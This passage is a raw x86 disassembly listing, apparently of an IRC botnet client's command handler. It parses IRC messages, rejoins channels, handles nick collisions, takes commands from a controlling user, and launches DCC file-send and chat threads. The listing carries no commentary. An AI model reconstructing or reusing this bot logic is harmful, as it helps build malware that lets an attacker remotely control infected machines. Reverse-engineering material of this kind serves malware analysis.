var_1358 = byte ptr -1358h var_12D8 = byte ptr -12D8h var_1258 = dword ptr -1258h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1234 = byte ptr -1234h var_11B4 = byte ptr -11B4h var_1134 = dword ptr -1134h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1124 = dword ptr -1124h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1114 = dword ptr -1114h var_1110 = byte ptr -1110h var_1090 = byte ptr -1090h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1000 = dword ptr -1000h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = byte ptr -0FECh var_F6C = dword ptr -0F6Ch var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = byte ptr -0F58h var_ED8 = dword ptr -0ED8h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = byte ptr -0EC4h var_E44 = dword ptr -0E44h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = byte ptr -0E34h var_E24 = byte ptr -0E24h var_E04 = byte ptr -0E04h var_D84 = dword ptr -0D84h var_D80 = byte ptr -0D80h var_D00 = byte ptr -0D00h var_C80 = dword ptr -0C80h var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = byte ptr -0C5Ch var_BDC = dword ptr -0BDCh var_BD8 = dword ptr -0BD8h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = byte ptr -0A90h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h var_2C0 = byte ptr -2C0h var_C0 = byte ptr -0C0h var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 568Ch call sub_41C190 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C0] push ebx push eax mov [ebp+var_A4], 3 mov [ebp+var_10], ebx mov [ebp+var_A8], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C4], ebx call sub_41BC00 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41BC60 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401F20 push esi lea eax, [ebp+var_428C] push ebx push eax call sub_41BC00 dec esi lea eax, [ebp+var_428C] push esi push [ebp+arg_0] push eax call sub_41BC60 lea eax, [ebp+var_428C] push offset asc_42F5EC ; " :" push eax call sub_41BF70 mov [ebp+var_C], eax lea eax, [ebp+var_428C] push esi push eax lea eax, [ebp+var_4EF8] push eax call sub_41BC60 mov esi, offset asc_42F5E8 ; " " lea eax, [ebp+var_4EF8] push esi push eax call sub_41C764 xor edi, edi add esp, 34h mov [ebp+var_90], eax inc edi loc_401B67: ; CODE XREF: sub_401AA1+DAj push esi push ebx call sub_41C764 mov [ebp+edi*4+var_90], eax inc edi pop ecx cmp edi, 20h pop ecx jl short loc_401B67 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401F20 cmp [ebp+var_8C], ebx jz loc_401F20 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41BC00 add esp, 0Ch push 1Fh pop edx loc_401BAF: ; CODE XREF: sub_401AA1+142j lea ecx, [ebp+edx*4+var_90] mov eax, [ecx] cmp eax, ebx jz short loc_401BE2 cmp byte ptr [eax], 2Dh jnz short loc_401BE5 cmp [eax+2], bl jnz short loc_401BE5 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401BE2: ; CODE XREF: sub_401AA1+119j dec edx jns short loc_401BAF loc_401BE5: ; CODE XREF: sub_401AA1+11Ej ; sub_401AA1+123j xor edi, edi inc edi cmp [ebp+var_8ED], bl jz short loc_401BF3 mov [ebp+var_8], edi loc_401BF3: ; CODE XREF: sub_401AA1+14Dj cmp [ebp+var_8F2], bl jz short loc_401C01 mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C01: ; CODE XREF: sub_401AA1+158j cmp byte ptr [esi], 0Ah jz short loc_401C3B push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BC60 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C0] push eax call sub_41BC60 lea eax, [ebp+var_C0] push offset asc_42F5E4 ; "!" push eax call sub_41C764 add esp, 20h loc_401C3B: ; CODE XREF: sub_401AA1+163j push esi push offset aPing ; "PING" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_401C8C push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_4096FD mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D30 push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_4096FD add esp, 10h jmp loc_401D30 ; --------------------------------------------------------------------------- loc_401C8C: ; CODE XREF: sub_401AA1+1A9j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4096B7 push esi push offset a005 ; "005" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_4096B7 push esi push offset a302 ; "302" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_401CF7 push offset a@ ; "@" push [ebp+var_84] call sub_41BF70 pop ecx cmp eax, ebx pop ecx jz short loc_401D30 inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41BC60 add esp, 0Ch jmp short loc_401D30 ; --------------------------------------------------------------------------- loc_401CF7: ; CODE XREF: sub_401AA1+22Aj push esi push offset a433 ; "433" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_401D37 push ebx push dword_42A98C push dword_42A988 push [ebp+arg_10] call sub_40AD20 push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_4096FD add esp, 1Ch loc_401D30: ; CODE XREF: sub_401AA1+1CAj ; sub_401AA1+1E6j ... mov eax, edi jmp loc_401F23 ; --------------------------------------------------------------------------- loc_401D37: ; CODE XREF: sub_401AA1+265j mov esi, [ebp+arg_18] mov [ebp+var_2C8], 3 mov edi, 80h loc_401D49: ; CODE XREF: sub_401AA1+2CDj lea eax, [ebp+var_E04] push eax push esi call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_401D66 mov [ebp+var_A8], 1 loc_401D66: ; CODE XREF: sub_401AA1+2B9j add esi, edi dec [ebp+var_2C8] jnz short loc_401D49 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_401E4F mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401D95: ; CODE XREF: sub_401AA1+373j cmp [esi], bl jz short loc_401E0F push 7Fh lea eax, [ebp+var_E04] push esi push eax call sub_41BC60 add esp, 0Ch cmp [ebp+var_84], ebx jz short loc_401E0F push [ebp+var_84] lea eax, [ebp+var_C0] push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_401E0F lea eax, [ebp+var_C0] mov [esi], bl push eax lea eax, [ebp+var_2C0] push offset dword_42F550 push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax lea eax, [ebp+var_C0] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_4096FD lea eax, [ebp+var_2C0] push eax call sub_415F45 add esp, 20h loc_401E0F: ; CODE XREF: sub_401AA1+2F6j ; sub_401AA1+310j ... add esi, edi dec [ebp+arg_24] jnz loc_401D95 push [ebp+var_84] push [ebp+arg_10] call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_401F20 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E42: ; CODE XREF: sub_401AA1+5CDj ; sub_401AA1+880j ... push [ebp+arg_4] call sub_4096FD jmp loc_4041F5 ; --------------------------------------------------------------------------- loc_401E4F: ; CODE XREF: sub_401AA1+2E4j push esi push offset aNick ; "NICK" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_401F88 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401E78: ; CODE XREF: sub_401AA1+429j lea eax, [ebp+var_E04] push eax push esi call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_401EC5 lea eax, [ebp+var_E04] push 21h push eax call sub_41C620 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401EC5 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41C520 push [ebp+arg_1C] push edi call sub_41C530 add esp, 10h mov edi, 80h loc_401EC5: ; CODE XREF: sub_401AA1+3E8j ; sub_401AA1+3FFj add esi, edi dec [ebp+arg_0] jnz short loc_401E78 cmp [ebp+arg_24], ebx jz short loc_401F20 push [ebp+arg_10] lea eax, [ebp+var_C0] push eax call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_401EF8 push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41BC60 jmp loc_403630 ; --------------------------------------------------------------------------- loc_401EF8: ; CODE XREF: sub_401AA1+443j mov edi, [ebp+arg_18] xor esi, esi loc_401EFD: ; CODE XREF: sub_401AA1+47Dj cmp [edi], bl jz short loc_401F14 lea eax, [ebp+var_E04] push eax push edi call sub_41C6E0 pop ecx test eax, eax pop ecx jz short loc_401F28 loc_401F14: ; CODE XREF: sub_401AA1+45Ej inc esi add edi, 80h cmp esi, 3 jl short loc_401EFD loc_401F20: ; CODE XREF: sub_401AA1+5Bj ; sub_401AA1+E4j ... xor eax, eax inc eax loc_401F23: ; CODE XREF: sub_401AA1+291j ; sub_401AA1+2A14j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401F28: ; CODE XREF: sub_401AA1+471j lea eax, [ebp+var_E04] push 21h push eax call sub_41C620 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz short loc_401F20 push eax call sub_41B650 push [ebp+arg_24] mov edi, eax call sub_41B650 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_401F20 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41BEF6 push ebx lea eax, [ebp+var_45F0] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409743 add esp, 24h jmp short loc_401F20 ; --------------------------------------------------------------------------- loc_401F88: ; CODE XREF: sub_401AA1+3BDj push esi push offset aPart ; "PART" call sub_41C6E0 pop ecx test eax, eax pop ecx jz short loc_401FAA push esi push offset aQuit ; "QUIT" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_401FD1 loc_401FAA: ; CODE XREF: sub_401AA1+4F6j mov edi, [ebp+arg_18] xor esi, esi loc_401FAF: ; CODE XREF: sub_401AA1+52Ej cmp [edi], bl jz short loc_401FC5 push [ebp+var_90] push edi call sub_41C6E0 pop ecx test eax, eax pop ecx jz short loc_402012 loc_401FC5: ; CODE XREF: sub_401AA1+510j inc esi add edi, 80h cmp esi, 3 jl short loc_401FAF loc_401FD1: ; CODE XREF: sub_401AA1+507j push [ebp+var_8C] push offset dword_42F518 call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_402073 push [ebp+var_80] push [ebp+arg_8] call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_402005 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_402005: ; CODE XREF: sub_401AA1+559j push [ebp+var_80] push offset dword_42F4D8 jmp loc_4096AB ; --------------------------------------------------------------------------- loc_402012: ; CODE XREF: sub_401AA1+522j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_2C0] push offset dword_42F550 push eax call sub_41BEF6 lea eax, [ebp+var_2C0] push eax call sub_415F45 push [ebp+var_8C] push offset aPart ; "PART" call sub_41C6E0 add esp, 18h test eax, eax jnz loc_401F20 lea eax, [ebp+var_2C0] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E42 ; --------------------------------------------------------------------------- loc_402073: ; CODE XREF: sub_401AA1+544j push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41C6E0 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_4020C7 push [ebp+var_8C] push edi call sub_41C6E0 pop ecx test eax, eax pop ecx jz short loc_4020C7 push [ebp+var_8C] push offset dword_42F4C4 call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_409567 cmp dword_42A974, ebx jz loc_409567 loc_4020C7: ; CODE XREF: sub_401AA1+5ECj ; sub_401AA1+5FEj push [ebp+var_8C] push esi call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40223A push [ebp+var_8C] push edi call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40223A mov eax, [ebp+var_84] inc [ebp+var_80] mov [ebp+var_A4], 4 mov [ebp+var_88], eax loc_40210C: ; CODE XREF: sub_401AA1+858j ; sub_401AA1+894j ... mov eax, [ebp+var_A4] mov esi, eax shl esi, 2 lea edi, [ebp+esi+var_90] mov eax, [edi] push eax push offset dword_42F4BC mov [ebp+arg_8], eax call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_4024D6 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_4023A1 cmp [ebp+var_A8], ebx jz loc_402377 push [ebp+esi+var_88] mov edi, offset aS_2 ; "%s" lea eax, [ebp+var_1B84] push edi push eax call sub_41BEF6 push [ebp+esi+var_84] lea eax, [ebp+var_1B98] push edi push eax call sub_41BEF6 push [ebp+esi+var_80] call sub_41BDE9 mov [ebp+var_1A00], eax mov eax, [ebp+arg_4] mov [ebp+var_1BA0], eax lea eax, [ebp+var_C0] push 7Fh push eax lea eax, [ebp+var_1A80] push eax call sub_41BC60 mov eax, [ebp+var_4] mov [ebp+var_19F8], eax mov eax, [ebp+var_8] mov [ebp+var_19F4], eax lea eax, [ebp+var_1A80] push eax lea eax, [ebp+var_1B84] push eax lea eax, [ebp+var_2C0] push offset unk_42F480 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 1Ah push eax call sub_40B254 add esp, 44h mov [ebp+var_19FC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1BA0] push ebx push eax push offset sub_416770 push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_19FC] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jz loc_4090C0 jmp loc_40236D ; --------------------------------------------------------------------------- loc_40223A: ; CODE XREF: sub_401AA1+636j ; sub_401AA1+64Cj push [ebp+var_8C] push edi call sub_41C6E0 pop ecx test eax, eax pop ecx jnz short loc_402253 mov [ebp+var_4], 1 loc_402253: ; CODE XREF: sub_401AA1+7A9j cmp [ebp+var_88], ebx jz loc_401F20 push offset dword_42F47C push [ebp+var_88] call sub_41BF70 pop ecx test eax, eax pop ecx jz short loc_40227A cmp [ebp+var_4], ebx jz short loc_402286 loc_40227A: ; CODE XREF: sub_401AA1+7D2j lea eax, [ebp+var_C0] mov [ebp+var_88], eax loc_402286: ; CODE XREF: sub_401AA1+7D7j cmp [ebp+var_84], ebx jz loc_401F20 inc [ebp+var_84] jz short loc_4022D0 cmp [ebp+arg_10], ebx jz short loc_4022D0 lea eax, [ebp+var_338] push eax call sub_41B650 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41C4E0 add esp, 10h neg eax sbb eax, eax add eax, 4 mov [ebp+var_A4], eax jmp short loc_4022D6 ; --------------------------------------------------------------------------- loc_4022D0: ; CODE XREF: sub_401AA1+7F7j ; sub_401AA1+7FCj mov eax, [ebp+var_A4] loc_4022D6: ; CODE XREF: sub_401AA1+82Dj mov esi, eax shl esi, 2 mov edi, [ebp+esi+var_90] cmp edi, ebx jz loc_401F20 push edi push offset dword_42F470 call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_40210C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_402326 mov eax, dword_4CE1BC mov eax, off_42AABC[eax*4] cmp [eax], bl jz short loc_402326 push eax push ecx push offset dword_42F454 jmp loc_401E42 ; --------------------------------------------------------------------------- loc_402326: ; CODE XREF: sub_401AA1+867j ; sub_401AA1+877j push edi push offset dword_42F44C call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_40210C mov esi, [ebp+esi+var_8C] cmp esi, ebx jz loc_40210C mov eax, [ebp+var_88] cmp byte ptr [eax], 23h jz loc_40210C push esi push eax push offset dword_42F434 jmp loc_401E42 ; --------------------------------------------------------------------------- loc_402365: ; CODE XREF: sub_401AA1+8D2j push 32h call dword_428080 ; Sleep loc_40236D: ; CODE XREF: sub_401AA1+794j cmp [ebp+var_19F0], ebx jz short loc_402365 jmp short loc_402399 ; --------------------------------------------------------------------------- loc_402377: ; CODE XREF: sub_401AA1+6B8j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_2C0] push [ebp+esi+var_88] push offset unk_42F3F0 push eax call sub_41BEF6 add esp, 10h loc_402399: ; CODE XREF: sub_401AA1+8D4j ; sub_401AA1+A0Ej ... xor esi, esi inc esi jmp loc_406BE7 ; --------------------------------------------------------------------------- loc_4023A1: ; CODE XREF: sub_401AA1+6ACj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_4024EC cmp [ebp+var_A8], ebx jz loc_4024C5 push 1Bh call sub_40B496 test eax, eax pop ecx jnz loc_4024B4 push [ebp+esi+var_84] lea eax, [ebp+var_2AAC] push offset aS_2 ; "%s" push eax call sub_41BEF6 push [ebp+esi+var_80] call sub_41BDE9 mov [ebp+var_2914], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB4], eax lea eax, [ebp+var_C0] push 7Fh push eax lea eax, [ebp+var_2994] push eax call sub_41BC60 mov eax, [ebp+var_4] mov [ebp+var_290C], eax mov eax, [ebp+var_8] mov [ebp+var_2908], eax lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_2C0] push offset unk_42F3C8 push eax call sub_41BEF6 push ebx lea eax, [ebp+var_2C0] push 1Bh push eax call sub_40B254 add esp, 34h mov [ebp+var_2910], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB4] push ebx push eax push offset sub_41620D push ebx push ebx call dword_428084 ; CreateThread mov ecx, [ebp+var_2910] imul ecx, 234h cmp eax, ebx mov dword_44125C[ecx], eax jnz short loc_4024A7 call dword_428094 ; RtlGetLastWin32Error push eax push offset unk_42F390 jmp loc_40823D ; --------------------------------------------------------------------------- loc_40249F: ; CODE XREF: sub_401AA1+A0Cj push 32h call dword_428080 ; Sleep loc_4024A7: ; CODE XREF: sub_401AA1+9EBj cmp [ebp+var_2904], ebx jz short loc_40249F jmp loc_402399 ; --------------------------------------------------------------------------- loc_4024B4: ; CODE XREF: sub_401AA1+931j lea eax, [ebp+var_C0] push eax push offset unk_42F360 jmp loc_40823D ; --------------------------------------------------------------------------- loc_4024C5: ; CODE XREF: sub_401AA1+921j lea eax, [ebp+var_C0] push eax push offset unk_42F32C loc_4024D1: ; DATA XREF: sub_4FB392+8w ; sub_4FB392+37r jmp loc_40823D ; --------------------------------------------------------------------------- loc_4024D6: ; CODE XREF: sub_401AA1+691j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_42A980 mov [edi], ecx jnz loc_401F20 loc_4024EC: ; CODE XREF: sub_401AA1+915j mov edi, [edi] push edi push offset aK ; "k" mov [ebp+arg_8], edi call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40956F push edi push offset asc_42F324 ; "l" call sub_41C6E0 pop ecx test eax, eax pop ecx jz loc_40956F cmp [ebp+var_A8], ebx jnz short loc_40253D push [ebp+var_8C] push offset dword_42F4C4 call sub_41C6E0 pop ecx test eax, eax pop ecx jnz loc_409567 loc_40253D: ; CODE XREF: sub_401AA1+A80j cmp [ebp+arg_28], ebx jnz loc_409567 xor edi, edi cmp dword_42AE00, ebx jle loc_4026EA mov [ebp+arg_20], offset dword_4404C8 loc_40255B: ; CODE XREF: sub_401AA1+AD9j push [ebp+arg_8] push [ebp+arg_20] call sub_41C6E0 pop ecx test eax, eax pop ecx jz short loc_402581 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_42AE00 jl short loc_40255B jmp loc_4026EA ; --------------------------------------------------------------------------- loc_402581: ; CODE XREF: sub_401AA1+AC9j push offset asc_42F5EC ; " :" push [ebp+arg_0] call sub_41BF70 pop ecx cmp eax, ebx pop ecx jz loc_401F20 mov cl, byte_42A980 imul edi, 0B8h mov [eax+2], cl mov cl, byte_42A980 mov [eax+3], cl lea ecx, dword_4404E0[edi] push 9Fh add eax, 4 push ecx push eax call sub_41BC60 lea eax, dword_4404C8[edi] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax lea edi, [ebp+esi+var_50] loc_4025DC: ; CODE XREF: sub_401AA1+BDEj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d-" push eax call sub_41BEF6 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41BF70 add esp, 14h test eax, eax jz short loc_40263E cmp [edi], ebx jz short loc_402642 push [ebp+arg_C] call sub_41B650 add [ebp+var_C], eax pop ecx jz short loc_402676 push dword ptr [edi-4] push [ebp+var_C] call sub_41BF70 pop ecx cmp eax, ebx pop ecx jz short loc_402676 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_418584 add esp, 0Ch jmp short loc_402676 ; --------------------------------------------------------------------------- loc_40263E: ; CODE XREF: sub_401AA1+B63j cmp [edi], ebx jnz short loc_402676 loc_402642: ; CODE XREF: sub_401AA1+B67j lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41BC60 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_418584 add esp, 18h loc_402676: ; CODE XREF: sub_401AA1+B75j ; sub_401AA1+B86j ... dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg loc_4025DC lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_402692: ; CODE XREF: sub_401AA1+C3Dj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD ; "$%d" push eax call sub_41BEF6 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41BF70 add esp, 14h test eax, eax jz short loc_4026D5 mov eax, [edi] cmp eax, ebx jz short loc_4026D5 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_418584 add esp, 0Ch loc_4026D5: ; CODE XREF: sub_401AA1+C19j ; sub_401AA1+C1Fj dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_402692 mov [ebp+var_2C4], 1 loc_4026EA: ; CODE XREF: sub_401AA1+AADj ; sub_401AA1+ADBj mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_42A980 jz short loc_402703 cmp [ebp+var_2C4], ebx jz loc_4028EF loc_402703: ; CODE XREF: sub_401AA1+C54j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_418584 lea eax, [ebp+var_C0] push eax push offset aUser_2 ; "$user" push edi call sub_418584 push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_418584 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AD20 push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_418584 add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_418584 mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41BF70 add esp, 14h jmp loc_40286A ; --------------------------------------------------------------------------- loc_40277A: ; CODE XREF: sub_401AA1+DCBj push edi push [ebp+arg_0] call sub_41BF70 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41BC60 lea eax, [ebp+var_A0] push offset asc_42F2E4 ; ")" push eax call sub_41C764 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_4027BE cmp [ebp+var_A0], 39h jle short loc_4027D4 loc_4027BE: ; CODE XREF: sub_401AA1+D12j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41BC60 add esp, 0Ch loc_4027D4: ; CODE XREF: sub_401AA1+D1Bj lea eax, [ebp+var_A0] push eax call sub_41BDE9 test eax, eax pop ecx jle short loc_4027FA lea eax, [ebp+var_A0] push eax call sub_41BDE9 pop ecx mov [ebp+var_94], al jmp short loc_40280E ; --------------------------------------------------------------------------- 